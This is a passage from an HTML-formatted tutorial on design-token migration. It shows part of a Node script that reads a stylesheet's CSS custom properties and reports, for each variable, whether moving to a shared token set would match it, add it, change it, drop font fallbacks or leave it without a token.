&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;raw.colors, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;derived, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;raw.fonts };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the aliasing idea every token toolchain lands on. Style Dictionary spells references with &lt;a href=&quot;https://styledictionary.com/info/tokens/&quot;&gt;curly-brace token paths&lt;/a&gt; so a value is written once and referenced everywhere else, and the same instinct now exists in CSS itself: &lt;a href=&quot;https://www.w3.org/TR/css-color-5/&quot;&gt;Color Module Level 5’s relative color syntax&lt;/a&gt; lets you write &lt;code&gt;rgb(from var(--ink) r g b / 0.16)&lt;/code&gt; and skip the precompute entirely. Precomputing still buys you one thing relative color doesn’t, which is that the emitted value is a plain literal every consumer can read, including the ones that aren’t a browser.&lt;/p&gt;
&lt;p&gt;Naming a color that doesn’t exist fails immediately rather than emitting something plausible:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;derived token &quot;border&quot; references unknown color &quot;inkk&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Build the survey&lt;/h2&gt;
&lt;p&gt;Now the tool. For each declared variable it answers one of five things, and three of those five block the migration. Save it as &lt;code&gt;survey.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env node&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { resolveTokens } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./resolve.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Pull every custom property the consumer already declares. This is the half&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// people skip: you cannot know what a migration would drop without reading&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// what is there first.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readCustomProps&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(css) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; out &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; m &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; css.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;matchAll&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/^\s*--([\w-]+)\s*:\s*([^;]+);/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;gm&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    out.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(m[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], m[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;trim&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/\s+/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; out;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; faces&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (stack) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; stack.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;,&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((f) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; f.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;trim&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Is `inner` an in-order subsequence of `outer`? A font stack is a prioritized&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// list, so a shorter list that appears in order inside a longer one is the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// same intent with fewer escape hatches, not a different one.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; isSubsequence&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(inner, outer) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; f &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; outer) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; inner.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; inner[i] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; f) i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; inner.length;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; surveyTarget&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(target, tokens, css) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; existing &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readCustomProps&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(css);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; v &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; target.vars) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; have &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; existing.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(v.name);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; want &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tokens[v.token];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (want &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; undefined) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;      // The consumer ships a value the token set has no name for. Migrating&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;      // now means hand-writing it locally, which is the duplication the token&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;      // set exists to prevent.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      rows.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ name: v.name, verdict: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;unexpressible&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, have });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      continue&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (have &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; undefined) { rows.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ name: v.name, verdict: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;new&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, want }); &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (have &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; want) { rows.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ name: v.name, verdict: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;match&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }); &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [a, b] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;faces&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(have), &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;faces&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(want)];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (a.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; b.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; isSubsequence&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(b, a)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      rows.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        name: v.name, verdict: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;would-drop-fallbacks&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        lost: a.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((f) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;b.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;includes&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(f)),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      continue&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    rows.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ name: v.name, verdict: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;differs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, have, want });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; LABEL &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  match: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;ok      &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  new: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;NEW     &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  differs: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;DIFFERS &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;would-drop-fallbacks&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;DROPS   &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  unexpressible: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;NO TOKEN&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.meta.url &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `file://${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;process&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tokens &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; resolveTokens&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;tokens.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; target &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;targets.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; surveyTarget&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(target, tokens, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(target.path, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows) {&lt;/span&gt;&lt;/span&gt;
